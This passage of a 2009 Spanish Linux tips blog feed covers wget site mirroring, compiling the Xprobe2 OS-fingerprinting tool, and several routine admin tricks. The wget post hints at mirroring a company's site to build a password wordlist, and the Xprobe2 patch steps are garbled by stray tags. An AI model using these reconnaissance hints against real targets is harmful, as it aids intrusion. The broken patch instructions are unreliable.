src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_JhkD20t_wqQ/Sv6aFPnH8nI/AAAAAAAAAQM/xisduafACCU/s72-c/VideosIcon.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-648966305919891228</id><published>2009-11-01T20:01:00.002+01:00</published><updated>2009-12-29T08:21:54.488+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><title type='text'>Bajarnos una Website con Wget</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_JhkD20t_wqQ/Su3bOgf2lNI/AAAAAAAAAPs/wc4yvPP6rRg/s1600-h/deluge-torrent.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 128px; height: 128px;" src="http://4.bp.blogspot.com/_JhkD20t_wqQ/Su3bOgf2lNI/AAAAAAAAAPs/wc4yvPP6rRg/s200/deluge-torrent.png" alt="" id="BLOGGER_PHOTO_ID_5399212570575279314" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Hay ocasiones en las que sabemos que vamos a estar una temporada sin conexión a Internet, porque veraneamos lejos de nuestra casa, vamos a la casita de campo..... Pero para paliar este inconveniente podemos bajarnos las páginas que nos suelen interesar así podremos leerlas donde nos plazca.&lt;br /&gt;&lt;br /&gt;Vamos a emplear de forma muy sencilla la herramienta wget para tal fin:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;wget --recursive --page-requisites --html-extension --convert-links --domains "dominio" --no-parent "URL"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Por ejemplo para bajarnos la guarida del mal:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;wget --recursive --page-requisites --html-extension --convert-links --domains blogspot.com --no-parent http://laguaridadelmal.blogspot.com&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Tambien puede sernos útil si nos bajamos la web de alguna empresa que nos interese por el motivo "X" y queramos hacer un diccionario con las palabras de su web ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-648966305919891228?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/648966305919891228/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=648966305919891228' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/648966305919891228'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/648966305919891228'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/11/bajarnos-una-website-con-wget.html' title='Bajarnos una Website con Wget'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_JhkD20t_wqQ/Su3bOgf2lNI/AAAAAAAAAPs/wc4yvPP6rRg/s72-c/deluge-torrent.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-927689997249296838</id><published>2009-10-31T23:49:00.015+01:00</published><updated>2010-01-21T18:56:07.965+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>Compilación de Xprobe2</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_JhkD20t_wqQ/SuzApOjN74I/AAAAAAAAAPY/Mj122cJZJDA/s1600-h/logo_Xprobe2.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 100px;" src="http://4.bp.blogspot.com/_JhkD20t_wqQ/SuzApOjN74I/AAAAAAAAAPY/Mj122cJZJDA/s200/logo_Xprobe2.jpg" alt="" id="BLOGGER_PHOTO_ID_5398901867823361922" border="0" /&gt;&lt;/a&gt;&lt;a href="http://xprobe.sourceforge.net/"&gt;Xprobe2&lt;/a&gt; es un programita al estilo Ph0f pero este vez se averigua el sistema operativo remoto de forma activa, pero no es tan sencillo como parece.&lt;br /&gt;Para que las fuentes compilen hay que hacer algunas modificaciones en el código fuente.&lt;br /&gt;&lt;br /&gt;Podemos bajarnos las fuentes desde &lt;a href="http://sourceforge.net/projects/xprobe/files/xprobe2/Xprobe2%200.3/xprobe2-0.3.tar.gz/download"&gt;aquí.&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;Editamos los ficheros siguientes:&lt;br /&gt;&lt;br /&gt;1 - vi libs-external/USI++/src/ip.cc&lt;br /&gt;&lt;br /&gt;Después de la línea 15: #include "config.h"&lt;br /&gt;&lt;br /&gt;Añadir:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_JhkD20t_wqQ/SvxTFrJ4xPI/AAAAAAAAAP8/Ot4qOZwnpEw/s1600-h/1.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 179px; height: 12px;" src="http://1.bp.blogspot.com/_JhkD20t_wqQ/SvxTFrJ4xPI/AAAAAAAAAP8/Ot4qOZwnpEw/s200/1.jpg" alt="" id="BLOGGER_PHOTO_ID_5403285009886397682" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;cstdlib&gt;&lt;cstdlib&gt;&lt;cstdlib&gt;&lt;br /&gt;Salvar y salir.&lt;br /&gt;&lt;br /&gt;2 - vi libs-external/USI++/src/misc.cc&lt;br /&gt;&lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;br /&gt;&lt;cstdlib&gt;&lt;cstdlib&gt;&lt;cstdlib&gt;Después de la línea 2: #include "usi++/usi-structs.h"&lt;br /&gt;&lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;br /&gt;&lt;cstdlib&gt;&lt;cstdlib&gt;&lt;cstdlib&gt;Añadir:&lt;br /&gt;&lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_JhkD20t_wqQ/SvxTFrJ4xPI/AAAAAAAAAP8/Ot4qOZwnpEw/s1600-h/1.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 179px; height: 12px;" src="http://1.bp.blogspot.com/_JhkD20t_wqQ/SvxTFrJ4xPI/AAAAAAAAAP8/Ot4qOZwnpEw/s200/1.jpg" alt="" id="BLOGGER_PHOTO_ID_5403285009886397682" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;cstdlib&gt;&lt;cstdlib&gt;&lt;cstdlib&gt;&lt;cstdlib&gt;&lt;cstdlib&gt;&lt;cstdlib&gt;&lt;cstdlib&gt;&lt;br /&gt;Salvar y salir.&lt;br /&gt;&lt;br /&gt;3 - vi libs-external/USI++/usi++/tcp.h&lt;br /&gt;&lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;br /&gt;&lt;cstdlib&gt;&lt;cstdlib&gt;&lt;cstdlib&gt;&lt;cstdlib&gt;&lt;cstdlib&gt;&lt;cstdlib&gt;&lt;cstdlib&gt;Después de la línea 17: #include "ip.h"&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Añadir:&lt;br /&gt;&lt;/span&gt;&lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;cstring&gt;&lt;cstdlib&gt;&lt;cstdlib&gt;&lt;cstdlib&gt;&lt;cstdlib&gt;&lt;cstdlib&gt;&lt;cstdlib&gt;&lt;span style="font-size:100%;"&gt;&lt;cstring&gt;&lt;/cstring&gt;&lt;/span&gt;&lt;cstring&gt;&lt;/cstring&gt;&lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;/cstring&gt;&lt;/cstdlib&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_JhkD20t_wqQ/SvxTS8Y4j9I/AAAAAAAAAQE/IoZuZOHVZAM/s1600-h/2.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 179px; height: 15px;" src="http://2.bp.blogspot.com/_JhkD20t_wqQ/SvxTS8Y4j9I/AAAAAAAAAQE/IoZuZOHVZAM/s200/2.jpg" alt="" id="BLOGGER_PHOTO_ID_5403285237851000786" border="0" /&gt;&lt;/a&gt;&lt;cstdlib&gt;&lt;cstring&gt;&lt;cstdlib&gt;&lt;cstdlib&gt;&lt;cstdlib&gt;&lt;cstdlib&gt;&lt;cstdlib&gt;&lt;cstdlib&gt;&lt;cstring&gt;&lt;br /&gt;&lt;br /&gt;&lt;cstring&gt;&lt;cstring&gt;Salvar y salir.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ahora tan solo queda compilar las fuente:&lt;br /&gt;&lt;br /&gt;make clean&lt;br /&gt;./configure&lt;br /&gt;make&lt;br /&gt;make install&lt;br /&gt;&lt;br /&gt;Ya lo tenemos, ahora podremos averiguar el sistema operativo remoto con esta magnífica utilidad.&lt;br /&gt;&lt;/cstring&gt;&lt;/cstring&gt;&lt;/cstring&gt;&lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;/cstdlib&gt;&lt;/cstring&gt;&lt;/cstdlib&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-927689997249296838?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/927689997249296838/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=927689997249296838' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/927689997249296838'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/927689997249296838'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/10/compilacion-de-xprobe2.html' title='Compilación de Xprobe2'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_JhkD20t_wqQ/SuzApOjN74I/AAAAAAAAAPY/Mj122cJZJDA/s72-c/logo_Xprobe2.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-5391005648254666853</id><published>2009-10-29T16:15:00.006+01:00</published><updated>2011-01-22T23:41:56.258+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Varios'/><title type='text'>Cambiar nombre USB</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_JhkD20t_wqQ/Sum0HOoSN7I/AAAAAAAAAPQ/gEYukHCydN8/s1600-h/drive-harddisk-usb.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 128px; height: 128px;" src="http://2.bp.blogspot.com/_JhkD20t_wqQ/Sum0HOoSN7I/AAAAAAAAAPQ/gEYukHCydN8/s200/drive-harddisk-usb.png" alt="" id="BLOGGER_PHOTO_ID_5398043664659396530" border="0" /&gt;&lt;/a&gt;En muchas ocasiones cuando montamos un dispositivo USB aparece en el escritorio una unidad con un nombre horrible, como por ejemplo el número de serie o el nombre del fabricante.&lt;br /&gt;&lt;br /&gt;Para cambiarlo tan solo hay que seguir los siguientes pasos.&lt;br /&gt;&lt;br /&gt;Lo primero será instalar la utilidad mtools:&lt;br /&gt;apt-get install mtools&lt;br /&gt;&lt;br /&gt;Ahora copiamos el fichero de configuración a nuestro directorio home:&lt;br /&gt;cp /etc/mtools.conf  /home/"usuario"&lt;br /&gt;&lt;br /&gt;Editamos este fichero y en la primera línea añadimos:&lt;br /&gt;mtools_skip_check=1&lt;br /&gt;&lt;br /&gt;Ahora ya podemos cambiar el nombre del dispositivo:&lt;br /&gt;mlabel -i /dev/"partición" ::"Nombre_Unidad"&lt;br /&gt;&lt;br /&gt;Podemos observar los cambios con la orden:&lt;br /&gt;mlabel -i /dev/"partición" -s ::&lt;br /&gt;&lt;br /&gt;Así de sencillo, ya lo veis ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-5391005648254666853?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/5391005648254666853/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=5391005648254666853' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/5391005648254666853'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/5391005648254666853'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/10/cambiar-nombre-usb.html' title='Cambiar nombre USB'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_JhkD20t_wqQ/Sum0HOoSN7I/AAAAAAAAAPQ/gEYukHCydN8/s72-c/drive-harddisk-usb.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-4010522093941962897</id><published>2009-10-12T17:18:00.004+02:00</published><updated>2009-12-29T08:17:04.845+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><title type='text'>Eliminar librerias huerfanas.</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_JhkD20t_wqQ/StNKklbLFKI/AAAAAAAAAPI/_8xRZ3-3NRw/s1600-h/1t_Snap123.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 142px; height: 140px;" src="http://3.bp.blogspot.com/_JhkD20t_wqQ/StNKklbLFKI/AAAAAAAAAPI/_8xRZ3-3NRw/s200/1t_Snap123.jpg" alt="" id="BLOGGER_PHOTO_ID_5391735171274445986" border="0" /&gt;&lt;/a&gt;Muchas veces instalamos software solo para probarlo pero mas tarde nos damos cuenta que no es lo que necesitamos y simplemente encontramos una alternativa que se adapta mejor a nuestras necesidades.&lt;br /&gt;Lo normal es desinstalar la aplicacición pero incluso Linux puede dejar basura en el sistema como librerias que ya nadie usa. Por este motivo fué creada la aplicación deborphan.&lt;br /&gt;&lt;br /&gt;Para instalarla:&lt;br /&gt;apt-get install deborphan&lt;br /&gt;&lt;br /&gt;Para saber que librerias son huerfanas basta con:&lt;br /&gt;deborphan&lt;br /&gt;&lt;br /&gt;Esto nos mostrará un listado de todas ellas, para que la cosa sea mas sencilla podemos emplear el siguiente comando para eliminarlas:&lt;br /&gt;&lt;code&gt;apt-get remove $(deborphan)&lt;br /&gt;&lt;/code&gt;&lt;span style="font-family:monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: left;"&gt;&lt;div style="text-align: left;"&gt;&lt;code&gt;Tras estos pasos tendremos el sistema con lo justo y necesario ;)&lt;/code&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-family:monospace;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family:monospace;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-4010522093941962897?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/4010522093941962897/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=4010522093941962897' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/4010522093941962897'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/4010522093941962897'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/10/eliminar-librerias-huerfanas.html' title='Eliminar librerias huerfanas.'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_JhkD20t_wqQ/StNKklbLFKI/AAAAAAAAAPI/_8xRZ3-3NRw/s72-c/1t_Snap123.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-2625204476669954818</id><published>2009-10-11T13:29:00.007+02:00</published><updated>2009-12-29T08:22:37.549+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Varios'/><category scheme='http://www.blogger.com/atom/ns#' term='Programación'/><title type='text'>Ip publica desde la línea de comandos</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_JhkD20t_wqQ/StHFO8Td4-I/AAAAAAAAAPA/pDDbrzOyi_4/s1600-h/dns-dynamic.gif"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 106px; height: 74px;" src="http://4.bp.blogspot.com/_JhkD20t_wqQ/StHFO8Td4-I/AAAAAAAAAPA/pDDbrzOyi_4/s200/dns-dynamic.gif" alt="" id="BLOGGER_PHOTO_ID_5391307089435812834" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Siempre es útil conocer nuestra ip pública, hasta la fecha siempre lo había hecho con las páginas web del estilo &lt;a href="http://www.whatismyip.com/"&gt;http://www.whatismyip.com/&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Pero para obtener la ip desde nuestros scripts es mucho mas sencillo ejecutar la siguiente orden:&lt;br /&gt;&lt;code&gt;&lt;strong&gt;curl icanhazip.com&lt;/strong&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Por supuesto tendremos que tener la aplicación curl instalada:&lt;br /&gt;apt-get install curl&lt;br /&gt;&lt;br /&gt;Realmente sencillo y útil, espero que le sirva a mas de uno.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-2625204476669954818?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/2625204476669954818/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=2625204476669954818' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/2625204476669954818'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/2625204476669954818'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/10/ip-publica-desde-la-linea-de-comandos.html' title='Ip publica desde la línea de comandos'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_JhkD20t_wqQ/StHFO8Td4-I/AAAAAAAAAPA/pDDbrzOyi_4/s72-c/dns-dynamic.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-7595235984604897278</id><published>2009-10-11T13:15:00.004+02:00</published><updated>2009-12-29T08:17:08.830+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><title type='text'>Precarga de programas en RAM</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_JhkD20t_wqQ/StHA6nR4XaI/AAAAAAAAAO4/uZvD-lyjDPs/s1600-h/ad.gif"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 114px; height: 89px;" src="http://2.bp.blogspot.com/_JhkD20t_wqQ/StHA6nR4XaI/AAAAAAAAAO4/uZvD-lyjDPs/s200/ad.gif" alt="" id="BLOGGER_PHOTO_ID_5391302342148119970" border="0" /&gt;&lt;/a&gt;Todo el software ejecutado en una computadora en primera instancia se encuentra en el disco duro, esta información es posteriormente cargada en la RAM y finalmente ejecutada por el microprocesador.&lt;br /&gt;Este proceso se realiza cuando arrancamos la aplicación, pero que ocurriría si aprovechasemos los momentos de inactividad para carga en RAM las aplicaciones que mas solemos utilizar??. Precisamente de eso es de lo que se encarga Preload, realiza una estadística de los programas mas usados y los carga en RAM cuando el equipo no está activo.&lt;br /&gt;&lt;br /&gt;Para utilizarlo es tan sencillo como:&lt;br /&gt;apt-get install preload&lt;br /&gt;&lt;br /&gt;Existe un fichero de configuración con el que podremos afinar mas la configuración pero para la mayoría de casos la que viene por defecto servirá.&lt;br /&gt;&lt;br /&gt;El fichero es el /etc/preload.conf&lt;br /&gt;&lt;ul&gt;&lt;li&gt; &lt;p style="margin-bottom: 0pt;"&gt;&lt;span style="font-style: italic;"&gt;model.cycle&lt;/span&gt;: La frecuencia con la que se revisa el sistema para actualizar la información sobre los programas y librerías que se deben mantener en caché. Su valor por defecto es de 20 segundos.&lt;/p&gt; &lt;/li&gt;&lt;li&gt; &lt;p style="margin-bottom: 0pt;"&gt;&lt;span style="font-style: italic;"&gt;model.halflife&lt;/span&gt;: Periodo a partir del cual comenzarán a considerarse antiguos los datos guardados por &lt;span style="font-style: italic;"&gt;preload&lt;/span&gt;. Cuando transcurre este periodo sin nuevas actualizaciones en los datos de un programa, su importancia desciende un 50%.&lt;/p&gt; &lt;/li&gt;&lt;li&gt; &lt;p style="margin-bottom: 0pt;"&gt;&lt;span style="font-style: italic;"&gt;model.minsize&lt;/span&gt;: La cantidad mínima de llamadas al sistema que serán necesarias para que &lt;span style="font-style: italic;"&gt;preload&lt;/span&gt; considere importante a un determinado programa. Un numero pequeño conllevará que se sitúen en caché programas más pequeños, mientras que, si quieres que &lt;span style="font-style: italic;"&gt;preload&lt;/span&gt; se centre sólo en aplicaciones grandes, debes incrementar este número. El valor por defecto es 2000000 bytes.&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt;Siempre viene bien afinar un poco mas nuestro sistema ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-7595235984604897278?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/7595235984604897278/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=7595235984604897278' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7595235984604897278'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7595235984604897278'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/10/precarga-de-programas-en-ram.html' title='Precarga de programas en RAM'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_JhkD20t_wqQ/StHA6nR4XaI/AAAAAAAAAO4/uZvD-lyjDPs/s72-c/ad.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-1240977970262001839</id><published>2009-10-11T01:06:00.005+02:00</published><updated>2009-12-29T08:17:12.136+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><title type='text'>Servidor de ficheros por HTTP</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_JhkD20t_wqQ/StEWLTC2EwI/AAAAAAAAAOw/Z59KmrNujAs/s1600-h/windows_netbook.JPG"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 126px; height: 126px;" src="http://3.bp.blogspot.com/_JhkD20t_wqQ/StEWLTC2EwI/AAAAAAAAAOw/Z59KmrNujAs/s200/windows_netbook.JPG" alt="" id="BLOGGER_PHOTO_ID_5391114612285772546" border="0" /&gt;&lt;/a&gt;Siempre he estado peleando por querer compartir ficheros desde mi Linux a los sistemas Windows, siempre lo habia solucionado mediante un servidor Samba, pero existe una alternativa realmente rápida y sencilla.&lt;br /&gt;Se trata de montar un servidor HTTP muy simple para realizar la transferencia de ficheros.&lt;br /&gt;&lt;br /&gt;Tan solo hay que tener instalado python en nuestro sistema y ejecutar la orden:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;code&gt;python -m SimpleHTTPServer&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: normal;"&gt;Ahora apuntamos un navegador desde la máquina en la que queremos obtener los ficheros a la siguiente URL:&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;/strong&gt;&lt;strong&gt;http://&lt;em&gt;direcciónIP&lt;/em&gt;:8000&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Y ya lo tenemos, sin complicaciones ni dolores de cabeza.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-1240977970262001839?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/1240977970262001839/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=1240977970262001839' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/1240977970262001839'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/1240977970262001839'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/10/servidor-de-ficheros-por-http.html' title='Servidor de ficheros por HTTP'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_JhkD20t_wqQ/StEWLTC2EwI/AAAAAAAAAOw/Z59KmrNujAs/s72-c/windows_netbook.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-3296976451873956128</id><published>2009-10-10T16:06:00.004+02:00</published><updated>2009-12-29T08:06:02.749+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Kernel'/><title type='text'>Averiguar drivers a compilar en el Kernel</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_JhkD20t_wqQ/StCW7S0A4rI/AAAAAAAAAOo/rLtvVsytZRg/s1600-h/cristal+tux.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 200px;" src="http://4.bp.blogspot.com/_JhkD20t_wqQ/StCW7S0A4rI/AAAAAAAAAOo/rLtvVsytZRg/s200/cristal+tux.jpg" alt="" id="BLOGGER_PHOTO_ID_5390974699368932018" border="0" /&gt;&lt;/a&gt;Siempre podemos tener problemas a la hora de compilar el 